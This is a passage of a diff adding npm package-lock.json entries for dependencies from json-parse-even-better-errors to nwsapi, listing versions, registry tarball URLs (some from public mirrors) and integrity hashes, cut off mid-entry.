+    "node_modules/json-parse-even-better-errors": {
+      "version": "2.3.1",
+      "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz",
+      "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w=="
+    },
+    "node_modules/json-schema": {
+      "version": "0.4.0",
+      "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz",
+      "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA=="
+    },
+    "node_modules/json-schema-traverse": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
+      "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==",
+      "license": "MIT"
+    },
+    "node_modules/json-stable-stringify-without-jsonify": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz",
+      "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw=="
+    },
+    "node_modules/json5": {
+      "version": "2.2.3",
+      "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",
+      "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==",
+      "bin": {
+        "json5": "lib/cli.js"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/jsonfile": {
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz",
+      "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==",
+      "dependencies": {
+        "universalify": "^2.0.0"
+      },
+      "optionalDependencies": {
+        "graceful-fs": "^4.1.6"
+      }
+    },
+    "node_modules/jsonpointer": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/jsonpointer/-/jsonpointer-5.0.1.tgz",
+      "integrity": "sha512-p/nXbhSEcu3pZRdkW1OfJhpsVtW1gd4Wa1fnQc9YLiTfAjn0312eMKimbdIQzuZl9aa9xUGaRlP9T/CJE/ditQ==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/jsx-ast-utils": {
+      "version": "3.3.3",
+      "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.3.3.tgz",
+      "integrity": "sha512-fYQHZTZ8jSfmWZ0iyzfwiU4WDX4HpHbMCZ3gPlWYiCl3BoeOTsqKBqnTVfH2rYT7eP5c3sVbeSPHnnJOaTrWiw==",
+      "dependencies": {
+        "array-includes": "^3.1.5",
+        "object.assign": "^4.1.3"
+      },
+      "engines": {
+        "node": ">=4.0"
+      }
+    },
+    "node_modules/kind-of": {
+      "version": "6.0.3",
+      "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
+      "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/kleur": {
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz",
+      "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/klona": {
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/klona/-/klona-2.0.5.tgz",
+      "integrity": "sha512-pJiBpiXMbt7dkzXe8Ghj/u4FfXOOa98fPW+bihOJ4SjnoijweJrNThJfd3ifXpXhREjpoF2mZVH1GfS9LV3kHQ==",
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/language-subtag-registry": {
+      "version": "0.3.22",
+      "resolved": "https://registry.npmjs.org/language-subtag-registry/-/language-subtag-registry-0.3.22.tgz",
+      "integrity": "sha512-tN0MCzyWnoz/4nHS6uxdlFWoUZT7ABptwKPQ52Ea7URk6vll88bWBVhodtnlfEuCcKWNGoc+uGbw1cwa9IKh/w=="
+    },
+    "node_modules/language-tags": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/language-tags/-/language-tags-1.0.5.tgz",
+      "integrity": "sha512-qJhlO9cGXi6hBGKoxEG/sKZDAHD5Hnu9Hs4WbOY3pCWXDhw0N8x1NenNzm2EnNLkLkk7J2SdxAkDSbb6ftT+UQ==",
+      "dependencies": {
+        "language-subtag-registry": "~0.3.2"
+      }
+    },
+    "node_modules/leven": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz",
+      "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/levn": {
+      "version": "0.4.1",
+      "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz",
+      "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==",
+      "dependencies": {
+        "prelude-ls": "^1.2.1",
+        "type-check": "~0.4.0"
+      },
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/lilconfig": {
+      "version": "2.0.6",
+      "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.0.6.tgz",
+      "integrity": "sha512-9JROoBW7pobfsx+Sq2JsASvCo6Pfo6WWoUW79HuB1BCoBXD4PLWJPqDF6fNj67pqBYTbAHkE57M1kS/+L1neOg==",
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/lines-and-columns": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
+      "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg=="
+    },
+    "node_modules/loader-runner": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.3.0.tgz",
+      "integrity": "sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg==",
+      "engines": {
+        "node": ">=6.11.5"
+      }
+    },
+    "node_modules/loader-utils": {
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.4.tgz",
+      "integrity": "sha512-xXqpXoINfFhgua9xiqD8fPFHgkoq1mmmpE92WlDbm9rNRd/EbRb+Gqf908T2DMfuHjjJlksiK2RbHVOdD/MqSw==",
+      "dependencies": {
+        "big.js": "^5.2.2",
+        "emojis-list": "^3.0.0",
+        "json5": "^2.1.2"
+      },
+      "engines": {
+        "node": ">=8.9.0"
+      }
+    },
+    "node_modules/locate-path": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz",
+      "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==",
+      "dependencies": {
+        "p-locate": "^5.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/lodash": {
+      "version": "4.17.21",
+      "resolved": "https://registry.npm.taobao.org/lodash/download/lodash-4.17.21.tgz",
+      "integrity": "sha1-Z5WRxWTDv/quhFTPCz3zcMPWkRw="
+    },
+    "node_modules/lodash-es": {
+      "version": "4.17.21",
+      "resolved": "https://registry.npm.taobao.org/lodash-es/download/lodash-es-4.17.21.tgz?cache=0&sync_timestamp=1613836280924&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Flodash-es%2Fdownload%2Flodash-es-4.17.21.tgz",
+      "integrity": "sha1-Q+YmxG5lkbd1C+srUBFzkMYJ4+4="
+    },
+    "node_modules/lodash.debounce": {
+      "version": "4.0.8",
+      "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz",
+      "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow=="
+    },
+    "node_modules/lodash.memoize": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz",
+      "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag=="
+    },
+    "node_modules/lodash.merge": {
+      "version": "4.6.2",
+      "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz",
+      "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ=="
+    },
+    "node_modules/lodash.sortby": {
+      "version": "4.7.0",
+      "resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz",
+      "integrity": "sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA=="
+    },
+    "node_modules/lodash.uniq": {
+      "version": "4.5.0",
+      "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz",
+      "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ=="
+    },
+    "node_modules/loose-envify": {
+      "version": "1.4.0",
+      "resolved": "https://registry.nlark.com/loose-envify/download/loose-envify-1.4.0.tgz",
+      "integrity": "sha1-ce5R+nvkyuwaY4OffmgtgTLTDK8=",
+      "dependencies": {
+        "js-tokens": "^3.0.0 || ^4.0.0"
+      },
+      "bin": {
+        "loose-envify": "cli.js"
+      }
+    },
+    "node_modules/lower-case": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz",
+      "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==",
+      "dependencies": {
+        "tslib": "^2.0.3"
+      }
+    },
+    "node_modules/lower-case/node_modules/tslib": {
+      "version": "2.4.0",
+      "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz",
+      "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ=="
+    },
+    "node_modules/lru-cache": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
+      "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
+      "dependencies": {
+        "yallist": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/lz-string": {
+      "version": "1.4.4",
+      "resolved": "https://registry.npm.taobao.org/lz-string/download/lz-string-1.4.4.tgz",
+      "integrity": "sha1-wNjq82BZ9wV5bh40SBHPTEmNOiY=",
+      "bin": {
+        "lz-string": "bin/bin.js"
+      }
+    },
+    "node_modules/magic-string": {
+      "version": "0.25.9",
+      "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.25.9.tgz",
+      "integrity": "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==",
+      "dependencies": {
+        "sourcemap-codec": "^1.4.8"
+      }
+    },
+    "node_modules/make-dir": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
+      "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
+      "dependencies": {
+        "semver": "^6.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/make-dir/node_modules/semver": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+      "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "bin": {
+        "semver": "bin/semver.js"
+      }
+    },
+    "node_modules/makeerror": {
+      "version": "1.0.12",
+      "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.12.tgz",
+      "integrity": "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==",
+      "dependencies": {
+        "tmpl": "1.0.5"
+      }
+    },
+    "node_modules/mdn-data": {
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.4.tgz",
+      "integrity": "sha512-iV3XNKw06j5Q7mi6h+9vbx23Tv7JkjEVgKHW4pimwyDGWm0OIQntJJ+u1C6mg6mK1EaTv42XQ7w76yuzH7M2cA=="
+    },
+    "node_modules/media-typer": {
+      "version": "0.3.0",
+      "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz",
+      "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/memfs": {
+      "version": "3.4.7",
+      "resolved": "https://registry.npmjs.org/memfs/-/memfs-3.4.7.tgz",
+      "integrity": "sha512-ygaiUSNalBX85388uskeCyhSAoOSgzBbtVCr9jA2RROssFL9Q19/ZXFqS+2Th2sr1ewNIWgFdLzLC3Yl1Zv+lw==",
+      "dependencies": {
+        "fs-monkey": "^1.0.3"
+      },
+      "engines": {
+        "node": ">= 4.0.0"
+      }
+    },
+    "node_modules/merge-descriptors": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz",
+      "integrity": "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==",
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/merge-stream": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz",
+      "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w=="
+    },
+    "node_modules/merge2": {
+      "version": "1.4.1",
+      "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",
+      "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==",
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/methods": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz",
+      "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/micromatch": {
+      "version": "4.0.8",
+      "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz",
+      "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==",
+      "dependencies": {
+        "braces": "^3.0.3",
+        "picomatch": "^2.3.1"
+      },
+      "engines": {
+        "node": ">=8.6"
+      }
+    },
+    "node_modules/mime": {
+      "version": "1.6.0",
+      "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
+      "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==",
+      "bin": {
+        "mime": "cli.js"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/mime-db": {
+      "version": "1.52.0",
+      "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
+      "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/mime-types": {
+      "version": "2.1.35",
+      "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
+      "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
+      "dependencies": {
+        "mime-db": "1.52.0"
+      },
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/mimic-fn": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz",
+      "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/min-indent": {
+      "version": "1.0.1",
+      "resolved": "https://registry.nlark.com/min-indent/download/min-indent-1.0.1.tgz",
+      "integrity": "sha1-pj9oFnOzBXH76LwlaGrnRu76mGk=",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/mini-css-extract-plugin": {
+      "version": "2.6.1",
+      "resolved": "https://registry.npmjs.org/mini-css-extract-plugin/-/mini-css-extract-plugin-2.6.1.tgz",
+      "integrity": "sha512-wd+SD57/K6DiV7jIR34P+s3uckTRuQvx0tKPcvjFlrEylk6P4mQ2KSWk1hblj1Kxaqok7LogKOieygXqBczNlg==",
+      "dependencies": {
+        "schema-utils": "^4.0.0"
+      },
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependencies": {
+        "webpack": "^5.0.0"
+      }
+    },
+    "node_modules/mini-css-extract-plugin/node_modules/ajv-keywords": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz",
+      "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==",
+      "dependencies": {
+        "fast-deep-equal": "^3.1.3"
+      },
+      "peerDependencies": {
+        "ajv": "^8.8.2"
+      }
+    },
+    "node_modules/mini-css-extract-plugin/node_modules/schema-utils": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz",
+      "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==",
+      "dependencies": {
+        "@types/json-schema": "^7.0.9",
+        "ajv": "^8.8.0",
+        "ajv-formats": "^2.1.1",
+        "ajv-keywords": "^5.0.0"
+      },
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      }
+    },
+    "node_modules/minimalistic-assert": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz",
+      "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A=="
+    },
+    "node_modules/minimatch": {
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
+      "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
+      "dependencies": {
+        "brace-expansion": "^1.1.7"
+      },
+      "engines": {
+        "node": "*"
+      }
+    },
+    "node_modules/minimist": {
+      "version": "1.2.6",
+      "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.6.tgz",
+      "integrity": "sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q=="
+    },
+    "node_modules/mkdirp": {
+      "version": "0.5.6",
+      "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz",
+      "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==",
+      "dependencies": {
+        "minimist": "^1.2.6"
+      },
+      "bin": {
+        "mkdirp": "bin/cmd.js"
+      }
+    },
+    "node_modules/ms": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+      "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+    },
+    "node_modules/multicast-dns": {
+      "version": "7.2.5",
+      "resolved": "https://registry.npmjs.org/multicast-dns/-/multicast-dns-7.2.5.tgz",
+      "integrity": "sha512-2eznPJP8z2BFLX50tf0LuODrpINqP1RVIm/CObbTcBRITQgmC/TjcREF1NeTBzIcR5XO/ukWo+YHOjBbFwIupg==",
+      "dependencies": {
+        "dns-packet": "^5.2.2",
+        "thunky": "^1.0.2"
+      },
+      "bin": {
+        "multicast-dns": "cli.js"
+      }
+    },
+    "node_modules/nanoid": {
+      "version": "3.3.8",
+      "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.8.tgz",
+      "integrity": "sha512-WNLf5Sd8oZxOm+TzppcYk8gVOgP+l58xNy58D0nbUnOxOWRWvlcCV4kUF7ltmI6PsrLl/BgKEyS4mqsGChFN0w==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ],
+      "bin": {
+        "nanoid": "bin/nanoid.cjs"
+      },
+      "engines": {
+        "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
+      }
+    },
+    "node_modules/natural-compare": {
+      "version": "1.4.0",
+      "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz",
+      "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw=="
+    },
+    "node_modules/negotiator": {
+      "version": "0.6.3",
+      "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz",
+      "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/neo-async": {
+      "version": "2.6.2",
+      "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz",
+      "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw=="
+    },
+    "node_modules/no-case": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz",
+      "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==",
+      "dependencies": {
+        "lower-case": "^2.0.2",
+        "tslib": "^2.0.3"
+      }
+    },
+    "node_modules/no-case/node_modules/tslib": {
+      "version": "2.4.0",
+      "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz",
+      "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ=="
+    },
+    "node_modules/node-forge": {
+      "version": "1.3.2",
+      "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-1.3.2.tgz",
+      "integrity": "sha512-6xKiQ+cph9KImrRh0VsjH2d8/GXA4FIMlgU4B757iI1ApvcyA9VlouP0yZJha01V+huImO+kKMU7ih+2+E14fw==",
+      "license": "(BSD-3-Clause OR GPL-2.0)",
+      "engines": {
+        "node": ">= 6.13.0"
+      }
+    },
+    "node_modules/node-int64": {
+      "version": "0.4.0",
+      "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz",
+      "integrity": "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw=="
+    },
+    "node_modules/node-releases": {
+      "version": "2.0.6",
+      "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.6.tgz",
+      "integrity": "sha512-PiVXnNuFm5+iYkLBNeq5211hvO38y63T0i2KKh2KnUs3RpzJ+JtODFjkD8yjLwnDkTYF1eKXheUwdssR+NRZdg=="
+    },
+    "node_modules/normalize-path": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
+      "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/normalize-range": {
+      "version": "0.1.2",
+      "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz",
+      "integrity": "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/normalize-url": {
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz",
+      "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/npm-run-path": {
+      "version": "4.0.1",
+      "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz",
+      "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==",
+      "dependencies": {
+        "path-key": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/nth-check": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-1.0.2.tgz",
+      "integrity": "sha512-WeBOdju8SnzPN5vTUJYxYUxLeXpCaVP5i5e0LF8fg7WORF2Wd7wFX/pk0tYZk7s8T+J7VLy0Da6J1+wCT0AtHg==",
+      "dependencies": {
+        "boolbase": "~1.0.0"
+      }
+    },
+    "node_modules/nwsapi": {
+      "version": "2.2.2",
